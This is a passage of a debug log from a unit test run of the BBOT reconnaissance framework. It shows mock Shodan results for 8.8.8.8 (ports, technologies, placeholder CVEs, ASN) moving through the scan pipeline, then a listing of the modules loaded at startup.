bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,361 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,362 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) because precheck succeeded +2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check +2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,363 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:05:20,363 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,364 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,364 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) because precheck succeeded +2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,366 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:05:20,366 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,367 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,367 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,367 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded +2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check +2026-03-02 09:05:20,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) +2026-03-02 09:05:20,369 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,369 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:05:20,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,370 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,370 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:05:20,370 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:05:20,371 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,371 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) +2026-03-02 09:05:20,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:05:20,372 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) +2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:05:20,372 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded +2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,373 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:05:20,373 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded +2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check +2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) +2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) +2026-03-02 09:05:20,374 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) because precheck succeeded +2026-03-02 09:05:20,434 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:05:20,435 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,436 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:05:20,437 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) from shodan_enterprise +2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check +2026-03-02 09:05:20,438 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) from shodan_enterprise +2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check +2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise +2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:05:20,439 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise +2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:05:20,440 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise +2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) from shodan_enterprise +2026-03-02 09:05:20,441 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check +2026-03-02 09:05:20,441 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:05:20,442 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:05:20,442 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:05:20,442 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:05:20,442 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:05:20,443 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:05:20,443 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:05:20,443 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:05:20,543 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:05:20,543 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:05:20,552 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:05:20,553 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:05:20,553 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:05:20,557 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:05:20,557 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:05:20,558 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:05:20,558 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:05:20,559 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:05:20,559 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:05:20,626 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_ex9dqipr03 completed in 0 seconds with status FINISHED +2026-03-02 09:05:20,627 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:05:20,627 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:05:20,629 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events +2026-03-02 09:05:20,629 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:51'], UDP ports: ['8.8.8.8:51'] +2026-03-02 09:05:59,634 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:05:59,642 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:05:59,642 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:05:59,643 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:05:59,643 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:05:59,644 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:05:59,644 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:05:59,645 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:05:59,645 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:05:59,646 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:05:59,646 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:05:59,647 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:05:59,647 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:05:59,648 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:05:59,649 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:05:59,649 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:05:59,650 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:05:59,650 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:05:59,651 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:05:59,652 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:05:59,652 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:05:59,653 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:05:59,654 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:05:59,655 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:05:59,655 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:05:59,656 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:05:59,657 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:05:59,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:05:59,658 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:05:59,658 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:05:59,659 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:05:59,660 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:05:59,660 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:05:59,661 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:05:59,662 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:05:59,665 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:05:59,665 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:05:59,666 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:05:59,667 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:05:59,668 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:05:59,668 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:05:59,669 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:05:59,670 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:05:59,671 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:05:59,672 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:05:59,672 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:05:59,673 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:05:59,673 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:05:59,674 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:05:59,675 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:05:59,675 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:05:59,676 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:05:59,679 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:05:59,679 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:05:59,680 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:05:59,681 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:05:59,681 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:05:59,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:05:59,683 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:05:59,683 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:05:59,684 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:05:59,684 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:05:59,684 [DEBUG] 